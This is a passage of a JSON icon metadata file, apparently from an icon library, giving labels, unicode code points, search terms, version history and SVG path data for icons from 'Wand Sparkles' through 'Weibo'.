    },
    "styles": ["solid"],
    "unicode": "f72b",
    "label": "Wand Sparkles",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 6.1c9.5-8.5 24-8.1 33 .9l8 8c9 9 9.4 23.5 .9 33l-85.8 95.9c-2.6 2.9-4.1 6.7-4.1 10.7V176c0 8.8-7.2 16-16 16H384.2c-4.6 0-8.9 1.9-11.9 5.3L100.7 500.9C94.3 508 85.3 512 75.8 512c-8.8 0-17.3-3.5-23.5-9.8L9.7 459.7C3.5 453.4 0 445 0 436.2c0-9.5 4-18.5 11.1-24.8l111.6-99.8c3.4-3 5.3-7.4 5.3-11.9V272c0-8.8 7.2-16 16-16h34.6c3.9 0 7.7-1.5 10.7-4.1L464 6.1zM432 288c3.6 0 6.7 2.4 7.7 5.8l14.8 51.7 51.7 14.8c3.4 1 5.8 4.1 5.8 7.7s-2.4 6.7-5.8 7.7l-51.7 14.8-14.8 51.7c-1 3.4-4.1 5.8-7.7 5.8s-6.7-2.4-7.7-5.8l-14.8-51.7-51.7-14.8c-3.4-1-5.8-4.1-5.8-7.7s2.4-6.7 5.8-7.7l51.7-14.8 14.8-51.7c1-3.4 4.1-5.8 7.7-5.8zM87.7 69.8l14.8 51.7 51.7 14.8c3.4 1 5.8 4.1 5.8 7.7s-2.4 6.7-5.8 7.7l-51.7 14.8L87.7 218.2c-1 3.4-4.1 5.8-7.7 5.8s-6.7-2.4-7.7-5.8L57.5 166.5 5.8 151.7c-3.4-1-5.8-4.1-5.8-7.7s2.4-6.7 5.8-7.7l51.7-14.8L72.3 69.8c1-3.4 4.1-5.8 7.7-5.8s6.7 2.4 7.7 5.8zM208 0c3.7 0 6.9 2.5 7.8 6.1l6.8 27.3 27.3 6.8c3.6 .9 6.1 4.1 6.1 7.8s-2.5 6.9-6.1 7.8l-27.3 6.8-6.8 27.3c-.9 3.6-4.1 6.1-7.8 6.1s-6.9-2.5-7.8-6.1l-6.8-27.3-27.3-6.8c-3.6-.9-6.1-4.1-6.1-7.8s2.5-6.9 6.1-7.8l27.3-6.8 6.8-27.3c.9-3.6 4.1-6.1 7.8-6.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 6.1c9.5-8.5 24-8.1 33 .9l8 8c9 9 9.4 23.5 .9 33l-85.8 95.9c-2.6 2.9-4.1 6.7-4.1 10.7V176c0 8.8-7.2 16-16 16H384.2c-4.6 0-8.9 1.9-11.9 5.3L100.7 500.9C94.3 508 85.3 512 75.8 512c-8.8 0-17.3-3.5-23.5-9.8L9.7 459.7C3.5 453.4 0 445 0 436.2c0-9.5 4-18.5 11.1-24.8l111.6-99.8c3.4-3 5.3-7.4 5.3-11.9V272c0-8.8 7.2-16 16-16h34.6c3.9 0 7.7-1.5 10.7-4.1L464 6.1zM432 288c3.6 0 6.7 2.4 7.7 5.8l14.8 51.7 51.7 14.8c3.4 1 5.8 4.1 5.8 7.7s-2.4 6.7-5.8 7.7l-51.7 14.8-14.8 51.7c-1 3.4-4.1 5.8-7.7 5.8s-6.7-2.4-7.7-5.8l-14.8-51.7-51.7-14.8c-3.4-1-5.8-4.1-5.8-7.7s2.4-6.7 5.8-7.7l51.7-14.8 14.8-51.7c1-3.4 4.1-5.8 7.7-5.8zM87.7 69.8l14.8 51.7 51.7 14.8c3.4 1 5.8 4.1 5.8 7.7s-2.4 6.7-5.8 7.7l-51.7 14.8L87.7 218.2c-1 3.4-4.1 5.8-7.7 5.8s-6.7-2.4-7.7-5.8L57.5 166.5 5.8 151.7c-3.4-1-5.8-4.1-5.8-7.7s2.4-6.7 5.8-7.7l51.7-14.8L72.3 69.8c1-3.4 4.1-5.8 7.7-5.8s6.7 2.4 7.7 5.8zM208 0c3.7 0 6.9 2.5 7.8 6.1l6.8 27.3 27.3 6.8c3.6 .9 6.1 4.1 6.1 7.8s-2.5 6.9-6.1 7.8l-27.3 6.8-6.8 27.3c-.9 3.6-4.1 6.1-7.8 6.1s-6.9-2.5-7.8-6.1l-6.8-27.3-27.3-6.8c-3.6-.9-6.1-4.1-6.1-7.8s2.5-6.9 6.1-7.8l27.3-6.8 6.8-27.3c.9-3.6 4.1-6.1 7.8-6.1z"
      }
    },
    "free": ["solid"]
  },
  "warehouse": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f494"]
      }
    },
    "changes": [
      "5.0.7",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["building", "capacity", "garage", "inventory", "storage"]
    },
    "styles": ["solid"],
    "unicode": "f494",
    "label": "Warehouse",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 488V171.3c0-26.2 15.9-49.7 40.2-59.4L308.1 4.8c7.6-3.1 16.1-3.1 23.8 0L599.8 111.9c24.3 9.7 40.2 33.3 40.2 59.4V488c0 13.3-10.7 24-24 24H568c-13.3 0-24-10.7-24-24V224c0-17.7-14.3-32-32-32H128c-17.7 0-32 14.3-32 32V488c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24zm488 24l-336 0c-13.3 0-24-10.7-24-24V432H512l0 56c0 13.3-10.7 24-24 24zM128 400V336H512v64H128zm0-96V224H512l0 80H128z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 488V171.3c0-26.2 15.9-49.7 40.2-59.4L308.1 4.8c7.6-3.1 16.1-3.1 23.8 0L599.8 111.9c24.3 9.7 40.2 33.3 40.2 59.4V488c0 13.3-10.7 24-24 24H568c-13.3 0-24-10.7-24-24V224c0-17.7-14.3-32-32-32H128c-17.7 0-32 14.3-32 32V488c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24zm488 24l-336 0c-13.3 0-24-10.7-24-24V432H512l0 56c0 13.3-10.7 24-24 24zM128 400V336H512v64H128zm0-96V224H512l0 80H128z"
      }
    },
    "free": ["solid"]
  },
  "watchman-monitoring": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e087",
    "label": "Watchman Monitoring",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256,16C123.452,16,16,123.452,16,256S123.452,496,256,496,496,388.548,496,256,388.548,16,256,16ZM121.69,429.122C70.056,388.972,36.741,326.322,36.741,256a218.519,218.519,0,0,1,9.587-64.122l102.9-17.895-.121,10.967-13.943,2.013s-.144,12.5-.144,19.549a12.778,12.778,0,0,0,4.887,10.349l9.468,7.4Zm105.692-283.27,8.48-7.618s6.934-5.38-.143-9.344c-7.188-4.024-39.53-34.5-39.53-34.5-5.348-5.477-8.257-7.347-15.46,0,0,0-32.342,30.474-39.529,34.5-7.078,3.964-.144,9.344-.144,9.344l8.481,7.618-.048,4.369L75.982,131.045c39.644-56.938,105.532-94.3,180.018-94.3A218.754,218.754,0,0,1,420.934,111.77l-193.512,37.7Zm34.063,329.269-33.9-250.857,9.467-7.4a12.778,12.778,0,0,0,4.888-10.349c0-7.044-.144-19.549-.144-19.549l-13.943-2.013-.116-10.474,241.711,31.391A218.872,218.872,0,0,1,475.259,256C475.259,375.074,379.831,472.212,261.445,475.121Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256,16C123.452,16,16,123.452,16,256S123.452,496,256,496,496,388.548,496,256,388.548,16,256,16ZM121.69,429.122C70.056,388.972,36.741,326.322,36.741,256a218.519,218.519,0,0,1,9.587-64.122l102.9-17.895-.121,10.967-13.943,2.013s-.144,12.5-.144,19.549a12.778,12.778,0,0,0,4.887,10.349l9.468,7.4Zm105.692-283.27,8.48-7.618s6.934-5.38-.143-9.344c-7.188-4.024-39.53-34.5-39.53-34.5-5.348-5.477-8.257-7.347-15.46,0,0,0-32.342,30.474-39.529,34.5-7.078,3.964-.144,9.344-.144,9.344l8.481,7.618-.048,4.369L75.982,131.045c39.644-56.938,105.532-94.3,180.018-94.3A218.754,218.754,0,0,1,420.934,111.77l-193.512,37.7Zm34.063,329.269-33.9-250.857,9.467-7.4a12.778,12.778,0,0,0,4.888-10.349c0-7.044-.144-19.549-.144-19.549l-13.943-2.013-.116-10.474,241.711,31.391A218.872,218.872,0,0,1,475.259,256C475.259,375.074,379.831,472.212,261.445,475.121Z"
      }
    },
    "free": ["brands"]
  },
  "water": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f773"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["lake", "liquid", "ocean", "sea", "swim", "wet"]
    },
    "styles": ["solid"],
    "unicode": "f773",
    "label": "Water",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M269.5 69.9c11.1-7.9 25.9-7.9 37 0C329 85.4 356.5 96 384 96c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 149.7 417 160 384 160c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4C42.8 92.6 61 83.5 75.3 71.6c11.1-9.5 27.3-10.1 39.2-1.7l0 0C136.7 85.2 165.1 96 192 96c27.5 0 55-10.6 77.5-26.1zm37 288C329 373.4 356.5 384 384 384c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 437.7 417 448 384 448c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 373.2 165.1 384 192 384c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0zm0-144C329 229.4 356.5 240 384 240c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 293.7 417 304 384 304c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.5 27.3-10.1 39.2-1.7l0 0C136.7 229.2 165.1 240 192 240c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M269.5 69.9c11.1-7.9 25.9-7.9 37 0C329 85.4 356.5 96 384 96c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 149.7 417 160 384 160c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4C42.8 92.6 61 83.5 75.3 71.6c11.1-9.5 27.3-10.1 39.2-1.7l0 0C136.7 85.2 165.1 96 192 96c27.5 0 55-10.6 77.5-26.1zm37 288C329 373.4 356.5 384 384 384c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 437.7 417 448 384 448c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 373.2 165.1 384 192 384c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0zm0-144C329 229.4 356.5 240 384 240c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 293.7 417 304 384 304c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.5 27.3-10.1 39.2-1.7l0 0C136.7 229.2 165.1 240 192 240c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z"
      }
    },
    "free": ["solid"]
  },
  "water-ladder": {
    "aliases": {
      "names": ["ladder-water", "swimming-pool"],
      "unicodes": {
        "secondary": ["10f5c5"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ladder", "recreation", "swim", "water"]
    },
    "styles": ["solid"],
    "unicode": "f5c5",
    "label": "Water Ladder",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M128 127.7C128 74.9 170.9 32 223.7 32c48.3 0 89 36 95 83.9l1 8.2c2.2 17.5-10.2 33.5-27.8 35.7s-33.5-10.2-35.7-27.8l-1-8.2c-2-15.9-15.5-27.8-31.5-27.8c-17.5 0-31.7 14.2-31.7 31.7V224H384V127.7C384 74.9 426.9 32 479.7 32c48.3 0 89 36 95 83.9l1 8.2c2.2 17.5-10.2 33.5-27.8 35.7s-33.5-10.2-35.7-27.8l-1-8.2c-2-15.9-15.5-27.8-31.5-27.8c-17.5 0-31.7 14.2-31.7 31.7V361c-1.6 1-3.3 2-4.8 3.1c-18 12.4-40.1 20.3-59.2 20.3h0V288H192v96.5c-19 0-41.2-7.9-59.1-20.3c-1.6-1.1-3.2-2.2-4.9-3.1V127.7zM306.5 389.9C329 405.4 356.5 416 384 416c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 469.7 417 480 384 480c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 405.2 165.1 416 192 416c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M128 127.7C128 74.9 170.9 32 223.7 32c48.3 0 89 36 95 83.9l1 8.2c2.2 17.5-10.2 33.5-27.8 35.7s-33.5-10.2-35.7-27.8l-1-8.2c-2-15.9-15.5-27.8-31.5-27.8c-17.5 0-31.7 14.2-31.7 31.7V224H384V127.7C384 74.9 426.9 32 479.7 32c48.3 0 89 36 95 83.9l1 8.2c2.2 17.5-10.2 33.5-27.8 35.7s-33.5-10.2-35.7-27.8l-1-8.2c-2-15.9-15.5-27.8-31.5-27.8c-17.5 0-31.7 14.2-31.7 31.7V361c-1.6 1-3.3 2-4.8 3.1c-18 12.4-40.1 20.3-59.2 20.3h0V288H192v96.5c-19 0-41.2-7.9-59.1-20.3c-1.6-1.1-3.2-2.2-4.9-3.1V127.7zM306.5 389.9C329 405.4 356.5 416 384 416c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 469.7 417 480 384 480c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 405.2 165.1 416 192 416c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z"
      }
    },
    "free": ["solid"]
  },
  "wave-square": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f83e"]
      }
    },
    "changes": ["5.8.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["frequency", "pulse", "signal"]
    },
    "styles": ["solid"],
    "unicode": "f83e",
    "label": "Wave Square",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 64c0-17.7 14.3-32 32-32H320c17.7 0 32 14.3 32 32V416h96V256c0-17.7 14.3-32 32-32H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H512V448c0 17.7-14.3 32-32 32H320c-17.7 0-32-14.3-32-32V96H192V256c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h96V64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M128 64c0-17.7 14.3-32 32-32H320c17.7 0 32 14.3 32 32V416h96V256c0-17.7 14.3-32 32-32H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H512V448c0 17.7-14.3 32-32 32H320c-17.7 0-32-14.3-32-32V96H192V256c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h96V64z"
      }
    },
    "free": ["solid"]
  },
  "waze": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f83f",
    "label": "Waze",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.17 201.67C516.69 287.53 471.23 369.59 389 409.8c13 34.1-12.4 70.2-48.32 70.2a51.68 51.68 0 0 1-51.57-49c-6.44.19-64.2 0-76.33-.64A51.69 51.69 0 0 1 159 479.92c-33.86-1.36-57.95-34.84-47-67.92-37.21-13.11-72.54-34.87-99.62-70.8-13-17.28-.48-41.8 20.84-41.8 46.31 0 32.22-54.17 43.15-110.26C94.8 95.2 193.12 32 288.09 32c102.48 0 197.15 70.67 214.08 169.67zM373.51 388.28c42-19.18 81.33-56.71 96.29-102.14 40.48-123.09-64.15-228-181.71-228-83.45 0-170.32 55.42-186.07 136-9.53 48.91 5 131.35-68.75 131.35C58.21 358.6 91.6 378.11 127 389.54c24.66-21.8 63.87-15.47 79.83 14.34 14.22 1 79.19 1.18 87.9.82a51.69 51.69 0 0 1 78.78-16.42zM205.12 187.13c0-34.74 50.84-34.75 50.84 0s-50.84 34.74-50.84 0zm116.57 0c0-34.74 50.86-34.75 50.86 0s-50.86 34.75-50.86 0zm-122.61 70.69c-3.44-16.94 22.18-22.18 25.62-5.21l.06.28c4.14 21.42 29.85 44 64.12 43.07 35.68-.94 59.25-22.21 64.11-42.77 4.46-16.05 28.6-10.36 25.47 6-5.23 22.18-31.21 62-91.46 62.9-42.55 0-80.88-27.84-87.9-64.25z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M502.17 201.67C516.69 287.53 471.23 369.59 389 409.8c13 34.1-12.4 70.2-48.32 70.2a51.68 51.68 0 0 1-51.57-49c-6.44.19-64.2 0-76.33-.64A51.69 51.69 0 0 1 159 479.92c-33.86-1.36-57.95-34.84-47-67.92-37.21-13.11-72.54-34.87-99.62-70.8-13-17.28-.48-41.8 20.84-41.8 46.31 0 32.22-54.17 43.15-110.26C94.8 95.2 193.12 32 288.09 32c102.48 0 197.15 70.67 214.08 169.67zM373.51 388.28c42-19.18 81.33-56.71 96.29-102.14 40.48-123.09-64.15-228-181.71-228-83.45 0-170.32 55.42-186.07 136-9.53 48.91 5 131.35-68.75 131.35C58.21 358.6 91.6 378.11 127 389.54c24.66-21.8 63.87-15.47 79.83 14.34 14.22 1 79.19 1.18 87.9.82a51.69 51.69 0 0 1 78.78-16.42zM205.12 187.13c0-34.74 50.84-34.75 50.84 0s-50.84 34.74-50.84 0zm116.57 0c0-34.74 50.86-34.75 50.86 0s-50.86 34.75-50.86 0zm-122.61 70.69c-3.44-16.94 22.18-22.18 25.62-5.21l.06.28c4.14 21.42 29.85 44 64.12 43.07 35.68-.94 59.25-22.21 64.11-42.77 4.46-16.05 28.6-10.36 25.47 6-5.23 22.18-31.21 62-91.46 62.9-42.55 0-80.88-27.84-87.9-64.25z"
      }
    },
    "free": ["brands"]
  },
  "weebly": {
    "changes": ["5.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5cc",
    "label": "Weebly",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M425.09 65.83c-39.88 0-73.28 25.73-83.66 64.33-18.16-58.06-65.5-64.33-84.95-64.33-19.78 0-66.8 6.28-85.28 64.33-10.38-38.6-43.45-64.33-83.66-64.33C38.59 65.83 0 99.72 0 143.03c0 28.96 4.18 33.27 77.17 233.48 22.37 60.57 67.77 69.35 92.74 69.35 39.23 0 70.04-19.46 85.93-53.98 15.89 34.83 46.69 54.29 85.93 54.29 24.97 0 70.36-9.1 92.74-69.67 76.55-208.65 77.5-205.58 77.5-227.2.63-48.32-36.01-83.47-86.92-83.47zm26.34 114.81l-65.57 176.44c-7.92 21.49-21.22 37.22-46.24 37.22-23.44 0-37.38-12.41-44.03-33.9l-39.28-117.42h-.95L216.08 360.4c-6.96 21.5-20.9 33.6-44.02 33.6-25.02 0-38.33-15.74-46.24-37.22L60.88 181.55c-5.38-14.83-7.92-23.91-7.92-34.5 0-16.34 15.84-29.36 38.33-29.36 18.69 0 31.99 11.8 36.11 29.05l44.03 139.82h.95l44.66-136.79c6.02-19.67 16.47-32.08 38.96-32.08s32.94 12.11 38.96 32.08l44.66 136.79h.95l44.03-139.82c4.12-17.25 17.42-29.05 36.11-29.05 22.17 0 38.33 13.32 38.33 35.71-.32 7.87-4.12 16.04-7.61 27.24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M425.09 65.83c-39.88 0-73.28 25.73-83.66 64.33-18.16-58.06-65.5-64.33-84.95-64.33-19.78 0-66.8 6.28-85.28 64.33-10.38-38.6-43.45-64.33-83.66-64.33C38.59 65.83 0 99.72 0 143.03c0 28.96 4.18 33.27 77.17 233.48 22.37 60.57 67.77 69.35 92.74 69.35 39.23 0 70.04-19.46 85.93-53.98 15.89 34.83 46.69 54.29 85.93 54.29 24.97 0 70.36-9.1 92.74-69.67 76.55-208.65 77.5-205.58 77.5-227.2.63-48.32-36.01-83.47-86.92-83.47zm26.34 114.81l-65.57 176.44c-7.92 21.49-21.22 37.22-46.24 37.22-23.44 0-37.38-12.41-44.03-33.9l-39.28-117.42h-.95L216.08 360.4c-6.96 21.5-20.9 33.6-44.02 33.6-25.02 0-38.33-15.74-46.24-37.22L60.88 181.55c-5.38-14.83-7.92-23.91-7.92-34.5 0-16.34 15.84-29.36 38.33-29.36 18.69 0 31.99 11.8 36.11 29.05l44.03 139.82h.95l44.66-136.79c6.02-19.67 16.47-32.08 38.96-32.08s32.94 12.11 38.96 32.08l44.66 136.79h.95l44.03-139.82c4.12-17.25 17.42-29.05 36.11-29.05 22.17 0 38.33 13.32 38.33 35.71-.32 7.87-4.12 16.04-7.61 27.24z"
      }
    },
    "free": ["brands"]
  },
  "weibo": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f18a",
    "label": "Weibo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M407 177.6c7.6-24-13.4-46.8-37.4-41.7-22 4.8-28.8-28.1-7.1-32.8 50.1-10.9 92.3 37.1 76.5 84.8-6.8 21.2-38.8 10.8-32-10.3zM214.8 446.7C108.5 446.7 0 395.3 0 310.4c0-44.3 28-95.4 76.3-143.7C176 67 279.5 65.8 249.9 161c-4 13.1 12.3 5.7 12.3 6 79.5-33.6 140.5-16.8 114 51.4-3.7 9.4 1.1 10.9 8.3 13.1 135.7 42.3 34.8 215.2-169.7 215.2zm143.7-146.3c-5.4-55.7-78.5-94-163.4-85.7-84.8 8.6-148.8 60.3-143.4 116s78.5 94 163.4 85.7c84.8-8.6 148.8-60.3 143.4-116zM347.9 35.1c-25.9 5.6-16.8 43.7 8.3 38.3 72.3-15.2 134.8 52.8 111.7 124-7.4 24.2 29.1 37 37.4 12 31.9-99.8-55.1-195.9-157.4-174.3zm-78.5 311c-17.1 38.8-66.8 60-109.1 46.3-40.8-13.1-58-53.4-40.3-89.7 17.7-35.4 63.1-55.4 103.4-45.1 42 10.8 63.1 50.2 46 88.5zm-86.3-30c-12.9-5.4-30 .3-38 12.9-8.3 12.9-4.3 28 8.6 34 13.1 6 30.8.3 39.1-12.9 8-13.1 3.7-28.3-9.7-34zm32.6-13.4c-5.1-1.7-11.4.6-14.3 5.4-2.9 5.1-1.4 10.6 3.7 12.9 5.1 2 11.7-.3 14.6-5.4 2.8-5.2 1.1-10.9-4-12.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M407 177.6c7.6-24-13.4-46.8-37.4-41.7-22 4.8-28.8-28.1-7.1-32.8 50.1-10.9 92.3 37.1 76.5 84.8-6.8 21.2-38.8 10.8-32-10.3zM214.8 446.7C108.5 446.7 0 395.3 0 310.4c0-44.3 28-95.4 76.3-143.7C176 67 279.5 65.8 249.9 161c-4 13.1 12.3 5.7 12.3 6 79.5-33.6 140.5-16.8 114 51.4-3.7 9.4 1.1 10.9 8.3 13.1 135.7 42.3 34.8 215.2-169.7 215.2zm143.7-146.3c-5.4-55.7-78.5-94-163.4-85.7-84.8 8.6-148.8 60.3-143.4 116s78.5 94 163.4 85.7c84.8-8.6 148.8-60.3 143.4-116zM347.9 35.1c-25.9 5.6-16.8 43.7 8.3 38.3 72.3-15.2 134.8 52.8 111.7 124-7.4 24.2 29.1 37 37.4 12 31.9-99.8-55.1-195.9-157.4-174.3zm-78.5 311c-17.1 38.8-66.8 60-109.1 46.3-40.8-13.1-58-53.4-40.3-89.7 17.7-35.4 63.1-55.4 103.4-45.1 42 10.8 63.1 50.2 46 88.5zm-86.3-30c-12.9-5.4-30 .3-38 12.9-8.3 12.9-4.3 28 8.6 34 13.1 6 30.8.3 39.1-12.9 8-13.1 3.7-28.3-9.7-34zm32.6-13.4c-5.1-1.7-11.4.6-14.3 